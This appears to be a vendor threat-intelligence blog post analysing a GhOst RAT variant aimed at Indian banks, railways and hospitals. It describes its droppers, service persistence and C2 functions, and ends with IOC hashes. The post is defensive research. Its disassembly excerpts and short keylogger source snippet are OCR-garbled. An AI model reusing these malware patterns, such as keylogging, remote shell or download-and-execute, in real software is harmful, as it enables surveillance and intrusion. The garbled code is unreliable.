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A few months back, Delphibased malware was being distributed on multiple systems via SMB exploit. The
payloads used by this malware have close similarities with open-source GhOstRAT code. GhOst has been used by
Chinese threat actors to target multiple agencies in Asia — GhOst is a Remote Access Trojan having multiple
capabilities like keylogging, microphone surveillance, download and execution of payloads from remote servers,

restarting computers, taking the remote shell of systems, et al.
We have observed this malware targeting important institutions in India such as —

e Banks

e Railways

o Milk Distributors

e Hospitals and Pharmaceuticals
e Agro Industries

¢ Food Production Industries

After analysis, it was found that this malware is creating two different payloads app.exe and mfc.exe. After
execution, both executables extract dlls in ststem32 folder of Windows directory and register them as service for

persistence. Major code of all exacted payloads shares similarities with the open-source code of Ghost RAT.
Technical Analysis

Payload 1 — app.exe

This executable had an embedded DLL file stored in reverse order as shown in the below figure.
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Figure 1: Embedded DLL in app.exe

This embedded binary is decrypted and written to %SYSTEMROOT%\System32\ folder. The below code shows
the decryption code — DLL name is generated from the return value of GetTickCount() API.

©Ltexb:BDADISES push el

C o tewt:BORBSET lea o, [ranspcx-1]
<tewt : BORISER
Lt AIRISER loc W@15HE: : CODE XREF: sub_wiSTE=1FLj
r‘ -tent: DORISER chp paK, OCK
©Jtewt:DDRINSED jr short loc RIS9F
obext:BONISEF mow bl, [ecx
| text:BORIISET now .Elu
Eext: BOAEISET oy [eax], bl
©tedt:BOESRS dmc way
| Jtent:BORISEE cap TEN, PCK
| Ltext:RBAESPR oy [eex], dl
©Eewt:RORESTR jz short 1oc_RE59F
I_‘ stewt: BORIASYE dec o
= text:BDABISED jap short Loc_RESEE

0000LSEE 004015281 sub_40157E:loc 401588 {Symchronized wich EIF)
[E] Hex view-1

I 11%IC F5 B9 BC F2 F5 BT
JBIIREE F5 BB BC DA F5 BY
J1199C  AS DR F1 35 B0 0D
1WL119AC &5 &N &F &D 20 53
mniigee [0 &2 2@ Ta &F A
ITIRCE 70 20 73 6% 68 5N
1011900 BE DO 0@ 00 B0 00
JOBTIREC B0 0D 08 00 B0 0o

F5 BC BF 1E FS OF 90 72 }ii=)e.p)e..)e.r
peie.qle.gieag

edon-580-ni -nur
eb - tonmac - Rarger
prsihTi=L.+t=.0.

Figure 2: Decryption loop.
App.exe then registers this DLL as service by calling Install exported function. Below are details of service:
ServiceName: csrss
DisplayName: Security Manager Accounts
DesiredAccess: SERVICE_ALL_ACCESS
ServiceType: SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS
StartType: SERVICE_AUTO_START
ErrorControl: SERVICE_ ERROR_IGNORE

BinaryPathName: %SystemRoot%\System32\svchost.exe -k “csrss”
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The exported function of DLL are as below:

DllUpdate
Install
MainThread
ServiceMain

Uninstall

C2 Functions

There are multiple C2 commands observed in the code of GhOstRat. Some C2 functions observed by static

analysis of DLL are as below:

Shutdown System

Open URL

Download and Execute File

Find Process

Clean Event Logs

Shutdown System

This function takes shutdown debug privileges and calls the ExitWindowsEx() function to shut down systems.

B RN e 0 AR R LA

Jdexti18802A60
Jdext:18802A60
Jdexti10802A60
Ctext = 10002A60
CJbextz10002A60
Jtext 10002060
Jdext:18802A60
Jdext 10002062
Jdexti10802A67
text:10002A60C
Ctext 10002470
Ctext 10002073
Jtext 10802475
Jdext 10802076
LJdext i 10002A7C
Ltext:10002A7E
Ltext:10002A83
Ltext:10002088
Jdext:10802ABE
Jdext:10802ABB
Jtext:10002ABE

Shutdown proc near
arg_@= dword ptr &

push 1

push offset aSeshutdownpriv
call Change_ Process Privileges
mow eax, [esp+8+arg 0]

add esp, B

push (]

push eax

call ExitWindowsEx

push i}

push offset aSeshutdownpriv
call Change_Process Privileges
add esp, 8

retn

Shutdown endp

Figure 3: Shutdown System

Download and Execute File

; CODE XREF: sub_10082530+73Tp

; "SeShutdownPrivilege®

i USeShutdownPrivilege®

This function will download a specific file from the server and execute it.
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AL . TRIULI AW

textz 10006050 ; int _ cdecl Download File{int, LPCSTR 1pFileMame)

textz 10006050 var W15= byte ptr -415h

text 12005050 nHumberOFBytesTodrite= dword ptr -H1kh
textz 108046058 var 410= dword ptr -%10h

text:z 10006050 hFile= dword ptr -40Ch

text 10006050 HumberOFBytesWritten= dword ptr -408h
textz 10006050 var 4= dword ptr -hB4h

text: 10006050 Buffer= vord ptr -L0ah

textz 10006050 arg B= dword pte &b

Cext 18006050 1pFileHane= dword pte 8

text: 10006050

textz 10006050 sub esp, B18h

textI 10006056 push eh

text:1A006057 push ebp

text:10006D58 push esi

textz 10006059 push edi

text:1A006DSA Hor edi, edi

textz 10006050 mow ehx, 1

text 18086061 push of fset aWininet_dll i “wininet.dll™
textz 100046066 mow [espeh2Ch+nHumberOfBytesTolrite], edi
textz1000606R mou [esp+h2Ch+HumberDFBytesiitten], edi
text:10006DGE mow [esp+h2Ch+var_&k15], bl

textz 10006072 call ds :LoadLibraryn

text 10806078 mow ebp, ds:GetProcAddress

textz10BOEDTE mow esi, eax

text100B6DAD push offFset alnternetopena : UInternetOpenn™
textz 10006085 push esi ; hHodule

text:10006DEG call ebp ; GetProcAddress
textz 10004088 push edi
textz100RS0ET push edi
textz 10004084 push edi
textz10DOSDEE push edi

text:1ABBGDAC push ofFset aMsied 0 ; "HEIE &.0¢
textz 10006091 call Bax
text: 10006093 mov edi, eax

[ tpxtz 10004005 test  edi. edi

text: 10006050 Download File proc near ; CODE ¥REF: Download Execute File+yCTp
textz1AB06D5 0 ; UpdateServer=19Tp
text 10006050

Figure 4: Download and execute file
Find Process

This function searches for a specific process by calling process enumeration APIs.

|i.n1 cdecl Find Process{LPCETR 1pStringl)

HMODULE wi; AF esi
FARPROC w2; FF @
FARPROC wd; Ff

void =oh; fF edild

signed int whs; JF ebxBES

FARPROC w¥; FF [sp+1Ch] [bp-12Ch]E4
int ug: A4 [sp+20h] [bp-1280]) 6

CHAR StringZ; /f [spe4bh] [bp=104h])E3

i
L F

= LoadLibraryf{HoduleHane) ;
= GetProcAddress{ui, aCreatetoolhelp);
= GetProchddress{ui, aProcess32first);
uf = GetProchddress{ul, aProcess32next);
{

[Tk ]

il (void =){{int (_ stdcall =){signed inkt, DWORD))u2)(2; @);
i1fF ( vh B& (vE = 206, ((int {_ stdcall =)(woid =, int =))uad(ul, EVE}] )

while { lstrempifflpStringl, BString2) )
i
Figure 5: Find process in an existing running process

Open URL

This function creates an iexplore.exe process with a specified URL.
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10REA1ED ; int _ edecl sub_1@@BA1CO{LPCSTR 1pString2, int)
10BEI1CD Sub_ 100E3ICD proc near

var_158= dward ptr -158h
war_154= byte pte -154h
war_158= dword pti =150k
var_12C= dword ptr -12Ch
var_128= word ptr -128h
war_11%= dword pte -114h
String= byte pbr -184h
1pString2= dword ptr &
arg_h= dward ptr #

sl esp, 158h
or ecx, OFFFFFFFFR
188E31EY xor rax, BaEM
10031CE push esi
10REI1EE mow esl, [esp+iSChelpitring?]
TRREA1DE push edi
10803104 mou edi, esi
10003106 repne sScash
10RE31DE not eCx
10R310A dec BLX
100063108 jz lac_ 10083208
- !
10ARI1EY mow ecx, Mih
100R31ES 1ea edi, [esp+i6Bnsstring]
10AEI1EA push eax + int
push 1 B4k 7 int
rep stosd
10REIIF2 push eax 3 dnt
108E3I1F3 1ea eax, [esp+16CheString]
100E31FT push rax + 1pString1
100EI1FE push 1 i dnt
100EI1FA push ] 3 dnt
100RIIFE push oFFzet anpplinatl-nsle : "Applicationsy\iexplore.exe\\shell\Wopen™. ..
T00E32 1 push BERBO00Oh 3 int
100E32 06 call sub_ 1000708 a
100EIZ 08 add esp, 20h

Figure 6: Open URL
Clean Event Logs

This function clears all event logs of Application, Security, and System

Stextzi0002B30

ekt 10002830 CleanEvent proc near : CODE XREF: sub_10002530+248Tp
Lbext s 10002E30

Lbext:100028308 l.urJ:I dword pte -0Ch

etz 10002B30 var 8= dword ptr -8

Lotz 1000ZB30 var b= dword pte -&

Lbexk s 10A0ZBAN arg_ 0= dword ptr &

Lbext: 10002030

Eext:1000ZB30 sub esp, OCh

LEext ;10002633 nov eax, [esp+iCh+arg_ 0]

Lbext 18802837 now [espeBCh+var L], offset aApplicatiom ; “Application®
SCeXtz10002ZBIF and eax, OFFh

et 1 000ZE0E oy [esp+OCh+var_ 8], offset aSecurity ; "Secority™
Ltext:10002BAL dec eax

Ltext: 10002840 moy [espsOCh+uvar_ ], offset aSystem ; “Systen”
LEext:10002E55 chp eax, 3 ; switch & cases
et 1000ZB58 ja short loc_10RB2EDS : jumptable 10002B5A default case
et 2 10002B5H jrp dszoff_ 10802808 [ caxsh] : switch jump

Sextz1000ZB61T

Figure 7: Clear event logs

Payload 2 — mfc.exe

The second executable dropped by the main payload is mfc.exe having embedded executable in resource under the

name “BIN”.
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Figure 8: Embedded DLL in the resource.

When this payload is run it drops dll (random name) from the above resource into the system32 folder and
installed as a service with the name “NetworkServices” on an infected system. After creating DLL into the

system32 folder, mfc.exe calls the Install() function of dll.

This DLL has four exported functions as below:

Install

e Launch

e ServiceMain
Unlnstall

Below are C2 Commands observed in this sample:

« Install Keyboard Hook
¢ Process Enumeration
e Remote Shell

e Audio Capture

e Download and Execute File

Install Keyboard Hook

Below figure, XX shows that a thread is created to install a keyboard hook. All keylogging data is written to a file

named “syslog.dat”.

Figure XX shows a similar keylogger code of GhOst RAT.
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:63EEAZER loc_63EERZER: CODE XREF: Launch+aSTj

¥
:63EERZEB push edi ; 1pThreadld
text :63EERZEC push edi ; dwCreationFlags
text :63EEAZED push edi ; int
text :63EEAZEE push offset Loop_HookKeyboard ; int
text :63EERAZF3 push edi ; dwitack3ize
text :63EEAZFL push edi ; 1pThreadattributes
text :63EEA2ZFS call begint Iur'r-.'ur!u{:u:
text :63EEAZFA push YCABNh ; size_t
text :63EEAZFF noy [esp+ubCh+hThread], eax
text :63EEA303 call TT2EVAPAY IR2 ; operator new{uint})
text :63EEA3 B8 add esp, 1Ch
text :63EEA3 0B cmp eax, edi
text :63EEA3 QD jz short loc_63EER316
text :63EEAIBF call sub_63EEN930
text :63EEA314 jmp short loc G3EEA318
Figure 9: Install keyboard hook
[DWORD WINAPI Loop HookKeyboard (LPARAM lparam)
{
char strieyboardOfflineRecord [MAX_PATH]:
GetSyastemDirecrtory(scrieyboardOfflineRecord, sizeof (strEeyboardOfflineRecord)):
lacrcat (scrEeyboard0fflineRecord, "\\syslog.dact™):

if (GetFilehttributes (strEeyboard0fflineRecord) != =1}
g_bSignalHook = trus;

else
¢_bSignalHook = false:

while (1)

{
while (g_bSignalHook == false)Sleep( ):
CHevboardManager: :SctarcHook()
while (g bSignalHook == true)Sleep( }:
CHevboardManager: :StopHook ()

}

retaorn 0;

Figure 10: Keylogger function from open-source Gh0st RAT code.
Process Enumeration

Process enumeration involves getting the list of running processes to enumerate modules.
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ext: push i) : DInnherithanale
text:63EEAF3 push 416h ;: dubesiredficcess
text :63EEAF36 call ds:0penProcess
text:63EEAF3C mow ebx, eax
text :63EEAF3E mow eax, [esp+478h+pe.th32ProcessiD]
text:63EEAF 42 test eax, eax
text:63EEAF4Y jz loc_63EEBOBE
text :63EEAF4A cmp eax, 4
text :63EEAF 4D jz loc_63EEBOOE
text :63EEAFS3 cmp eax, 8
text:63EEAFSH jz loc_G63EEBBOE
text :63EEAFSC lea edx, [esp+478h+cbHeeded]
text :63EEAFGA push edx ;5 lpcbHeeded
text :63EEAF61 push L ;s ch
text:63EEAF63 lea eax, [esp+48Bh+hHodule]
text :63EEAFGT push eax ; lphtodule
text :63EEAFGB push ebx ; hProcess
text :63EEAF69 call EnumProcessModules
text :63EEAFGE mow edx, [esp+478h+hiodule]
text:63EEAFT72 push 288h ; nsize
text t63EERFTT lea ec¥, [esp+47Ch+Filename]
text :63EEAFTE push ecx ; 1pFilename
text:63EEAFTF push edx : hModule
text:63EEAFSA push ebx ;» hProcess
text :63EEAFB1 call GetModuleFileNameExW
text :63EEAFB6 lea eax, [esp+478h+pe_szExeFile]
text :63EEAFEA push eax ; 1pString
text:63EEAFSB call ds:1lstrlenV
Figure 11: Process listing function
Remote Shell
This function will create a remote shell to accept and execute any command.
TenE:GOEENRAT miny [esp+29hh+5Eartuplnfo .. wShowindow], ax
text:63EEABASE moy eax, [edi] B
text :63EEASAR push edx ; lpDst
text :63EEABAB push ofFset Src s "EConSpeck”
text :63EEABBD mou [esp+29Ch+StartupInfo.ch], 44h
text:63EEABBE mou [esp+29Ch+Startupinfo.dwFlags], 1@1h
text:63EEABCEH noy [esp+29Ch+StartupInfo.hStdinput], ecx
text:63EEABCH mo [esp+22Ch+5StartupInfo hStdError], eax
text :63EEABCE moy [esp+*29Ch+StartupInfo.hStdlutput], eax
text:63EERBD2 call ds:ExpandEnvironmentitringsW
text :63EEABDE lea eax,; [EE].HE";' ﬂl‘l+FI‘I}CI?SSInFﬂI‘MtiﬂI'|]
text :63EEABDLC pl.lﬁl'l eax H lpFrntess[nFarmatinn
text:63EEABDD lea ecx, [esp+*294h+Startuplnfo]
text:63EEABE1 push BCX y lpStartupInfo
text:63EEABEZ push i ; lpturrentDirectory
text63IEEABEL push 8 ; 1pEnuironment
text :63EERBEG push 20nh ; dwCreationFlags
text :63EERBES push 1 v bInheritHandles
text:63EEABER push [t ; 1pThreadAttributes
text :63EEASEC push 5] ; lpProcessattributes
text :63EEABEE 1lea edx, [esp*ZBBh+Dst]
text :63EERBFS push edx 7 lpConmandLine
text:63EEABFG push o ; lpapplicationHame
text :6IEEABFE call ds:CreateProcessi
text :63EEABFE test eax, eax
text:63EEADPDD jnz short loc &63EEAD26
text:63EEAD02 moy eax, [ebx]

Figure 12: Function to get a remote shell

Audio Capture

This function records audio with the help of functions like waveInOpen(), waveInStart(), waveInStop() etc.
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WL: H — L FOOHE [0 TpParanerer §
text :63EEBB2A CAudio__InitializeMaveln proc near ; CODE XREF: sub_63EEBCP8+151p
text :63EEBBZ2B
text :63EEBB2Z0 1pParameter = dword ptr &
text :63EEBR20
text :63EEBB20 push ebp
text :63EEBB21 miy ebp, [espr4+lpParameter]
text :63EEBR2G call dsivavelnGetHumbevs
text :63EEBB2B test eax, eax
text:63EEBB2D jnz short loc_63EEB833
text :63EEBB2F pop ebp
text :63EEBB3B retn 4
text:63EERR3T
text :G3IEERB33
text:63EEBB33 loc G3EEBB33: : CODE XREF: Chudio  InitializeWawelIn+DTj
text:63EEBRII moy eax, [ebp+BB0h]
text :6IEEBRIY push esi
text:63EERB3A push edi
text:63EEBBIB mioy edi, ds:wavelnlOpen
text (63EEBBYT push 1 ; Fdubpen
text i63EERBL3 push n  dwinstance
text 6IEERBLYS push L[} 3 dwCallback
text :63EEBBAT lea esi, [ebp+BBah]
text :63EEBBLD push esi i Ppwfx
text :63EEBBLE push Eax ; ubewicelD
text :63EEBBLF push L] ; phuwi

Figure 13: Function for audio recording

Download and Execute File

Function to download the executable file from a remote server and execute it.

iF { a2 )
{ & &
result = InternetOpenW{L"Mozillas4.8 (compatible)*, @, @, 8, 8);
Ut = result;
hInternet = result;
if ( result )

{

ufs = InternetlpenlrlW{result, vZ, B, @, x80000188, 8);

ulf = B;

if { vh )

i
uft = 10824;
vl = #{uoid ==){uvd + 4);
dvHumberOfBytesRead = @;
v1B = Heapalloc{u?, Bu, Bx480u);
do
{

memset {&Buffer, @, Ox400u);

InternetReadFile{vt, &Buffer, @x400u, &duHumberOFBytesRead);
v11 = dwHumberOfBytesRead;

Uy += dyNumberOfBytesRead;

if { u? > ug )

{
v12 = GetProcessHeap();
u1@ = HeapRefAlloc(v12, Bu, viB, wi);
Uv11 = duNumberOFBytesRead;
uB = u/g

Figure 14: Download and execute the payload
I0Cs

e FF6511DE176A434FA2F7C939795A13CC
e AG6CC92A1993F040E87090F8B89836332
e 550C055339A9FEC141997CDA3F32FDOA
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e A2B75BD7254997BEC6A19D752E26FA50

e 4B8C6D70A186FEC7C79D5B52B2FFOE76

e E22ES5A85ED5294B179EBD416EEBSBEBB

e 5CE36CBD7D4A58A1B1A8CS5B7BE194F23
e E94F9AF9EA11301831AAA1BDE34D3DEB
e 23D4EC869960CE02865C98F64581136A

e 367150E5DA2ED1BFAAE9210105BCEEA1

e BFB095C595FAA47CBFD4AB6199A7E297

e CAO07E26D95D927953197840EA93EDDO3

e 6B8A19DF9827CFBO5F6461FEF9929F83

e 7DC43FCA774E612BF611ACD882400308

e 1127149CB5378FCA7181F81EB8149FC9

e F1E921F5730919E946D9A64019867E13

e B80A559CD7D48C9D3115A013EA662263

e 9403464BB99D87A02667E3ESDBA4AS57C

Alerts
Yr-2020

1200

1000
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200 I

0 ] I 8 n u _ =

Jan Feb Mar Apr May  Jun Jul Aug Sep Oct Nov

Conclusion

These samples are modified variants of GhOst RAT and actors are constantly updating them to evade AV
detections. Samples and TTPs that are seen in victim organizations are mostly associated with China-based APT
groups. We have been following these samples for the last 1 month but were unable to identify the initial attack
vector. As they are targeted towards specific industries, we suspect to find more malware associated with these
attack chains. Interestingly few of the victims were also infected with Monero miners during the same period. We

would be closely monitoring the campaign to hunt for the entire infection chain.

Subject matter experts
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Source: https://www.seqrite.com/blog/rat-used-by-chinese-cyberspies-infiltrating-indian-businesses/
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